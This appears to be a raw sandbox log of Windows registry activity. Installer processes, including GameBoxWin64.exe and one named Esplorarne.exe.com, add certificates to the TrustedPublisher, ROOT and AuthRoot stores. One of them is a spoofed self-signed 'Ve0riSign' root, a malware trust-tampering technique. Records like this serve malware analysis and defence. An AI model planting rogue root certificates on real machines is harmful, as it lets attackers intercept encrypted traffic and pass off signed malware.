\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B\Blob = 1400000001000000140000004c28ec631ac59cd16f21d022bbf261d6158bacb60300000001000000140000007aa33256ad743e2cd006c4ba2a2da8852031ca9b0f000000010000002000000008e7a52e107db69422d291fbdcb3d415b72270b35fa263161681bf3ae494d29d2000000001000000ec020000308202e830820251a00302010202086ad2c75f17a9cc73300d06092a864886f70d01010b05003081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323934305a170d3233303832333137323934305a3081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100a9de746032ac183873d849e78073fa4254dbc0c73b84a2b8af5bab69dc646ca0f1945f5c95c5c1b818746840aa23540e2073ed7fa8749a799eff6857f6d6d9343f88aaced3caca4c79b0d2aebf1680c1b0580f497e7ce647f147a909df683331783e060ac2712a1ba0ca04793b33f56daff1f8efda355b3b1d66212f457209550203010001a35d305b300f0603551d130101ff040530030101ff30480603551d110441303f823d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735300d06092a864886f70d01010b0500038181005388d588acf5c7abac69e572e5fe7dcb1304c347189bf44da850697744f8f0aa4cb7c0bf409bc03b4b148e4702bc982d45145bf44c047d660ae882be0a413399f708b261389dc11a48b7fd6a52a61bd2933f7a8b3028fb1240052ca622c0653132998406b1a9212729da518e2766c57bb8864d95c2f72241f3d93ea5693cdcb1 Esplorarne.exe.com Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B\Blob = 0400000001000000100000003fd0e7cbb1a992f6b48059a37c40b5741400000001000000140000004c28ec631ac59cd16f21d022bbf261d6158bacb60f000000010000002000000008e7a52e107db69422d291fbdcb3d415b72270b35fa263161681bf3ae494d29d0300000001000000140000007aa33256ad743e2cd006c4ba2a2da8852031ca9b190000000100000010000000aa1e45ccf3c58a02492aaa03e56b32d22000000001000000ec020000308202e830820251a00302010202086ad2c75f17a9cc73300d06092a864886f70d01010b05003081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323934305a170d3233303832333137323934305a3081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100a9de746032ac183873d849e78073fa4254dbc0c73b84a2b8af5bab69dc646ca0f1945f5c95c5c1b818746840aa23540e2073ed7fa8749a799eff6857f6d6d9343f88aaced3caca4c79b0d2aebf1680c1b0580f497e7ce647f147a909df683331783e060ac2712a1ba0ca04793b33f56daff1f8efda355b3b1d66212f457209550203010001a35d305b300f0603551d130101ff040530030101ff30480603551d110441303f823d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735300d06092a864886f70d01010b0500038181005388d588acf5c7abac69e572e5fe7dcb1304c347189bf44da850697744f8f0aa4cb7c0bf409bc03b4b148e4702bc982d45145bf44c047d660ae882be0a413399f708b261389dc11a48b7fd6a52a61bd2933f7a8b3028fb1240052ca622c0653132998406b1a9212729da518e2766c57bb8864d95c2f72241f3d93ea5693cdcb1 Esplorarne.exe.com Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B\Blob = 0300000001000000140000007aa33256ad743e2cd006c4ba2a2da8852031ca9b2000000001000000ec020000308202e830820251a00302010202086ad2c75f17a9cc73300d06092a864886f70d01010b05003081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323934305a170d3233303832333137323934305a3081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100a9de746032ac183873d849e78073fa4254dbc0c73b84a2b8af5bab69dc646ca0f1945f5c95c5c1b818746840aa23540e2073ed7fa8749a799eff6857f6d6d9343f88aaced3caca4c79b0d2aebf1680c1b0580f497e7ce647f147a909df683331783e060ac2712a1ba0ca04793b33f56daff1f8efda355b3b1d66212f457209550203010001a35d305b300f0603551d130101ff040530030101ff30480603551d110441303f823d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735300d06092a864886f70d01010b0500038181005388d588acf5c7abac69e572e5fe7dcb1304c347189bf44da850697744f8f0aa4cb7c0bf409bc03b4b148e4702bc982d45145bf44c047d660ae882be0a413399f708b261389dc11a48b7fd6a52a61bd2933f7a8b3028fb1240052ca622c0653132998406b1a9212729da518e2766c57bb8864d95c2f72241f3d93ea5693cdcb1 RUNDLL32.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B Esplorarne.exe.com Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B Esplorarne.exe.com Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B\Blob = 5c000000010000000400000000040000190000000100000010000000aa1e45ccf3c58a02492aaa03e56b32d20300000001000000140000007aa33256ad743e2cd006c4ba2a2da8852031ca9b0f000000010000002000000008e7a52e107db69422d291fbdcb3d415b72270b35fa263161681bf3ae494d29d1400000001000000140000004c28ec631ac59cd16f21d022bbf261d6158bacb60400000001000000100000003fd0e7cbb1a992f6b48059a37c40b5742000000001000000ec020000308202e830820251a00302010202086ad2c75f17a9cc73300d06092a864886f70d01010b05003081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323934305a170d3233303832333137323934305a3081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100a9de746032ac183873d849e78073fa4254dbc0c73b84a2b8af5bab69dc646ca0f1945f5c95c5c1b818746840aa23540e2073ed7fa8749a799eff6857f6d6d9343f88aaced3caca4c79b0d2aebf1680c1b0580f497e7ce647f147a909df683331783e060ac2712a1ba0ca04793b33f56daff1f8efda355b3b1d66212f457209550203010001a35d305b300f0603551d130101ff040530030101ff30480603551d110441303f823d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735300d06092a864886f70d01010b0500038181005388d588acf5c7abac69e572e5fe7dcb1304c347189bf44da850697744f8f0aa4cb7c0bf409bc03b4b148e4702bc982d45145bf44c047d660ae882be0a413399f708b261389dc11a48b7fd6a52a61bd2933f7a8b3028fb1240052ca622c0653132998406b1a9212729da518e2766c57bb8864d95c2f72241f3d93ea5693cdcb1 Esplorarne.exe.com Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup (13).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup (13).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be Setup.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA Setup.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B RUNDLL32.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B RUNDLL32.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC Setup.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Key created 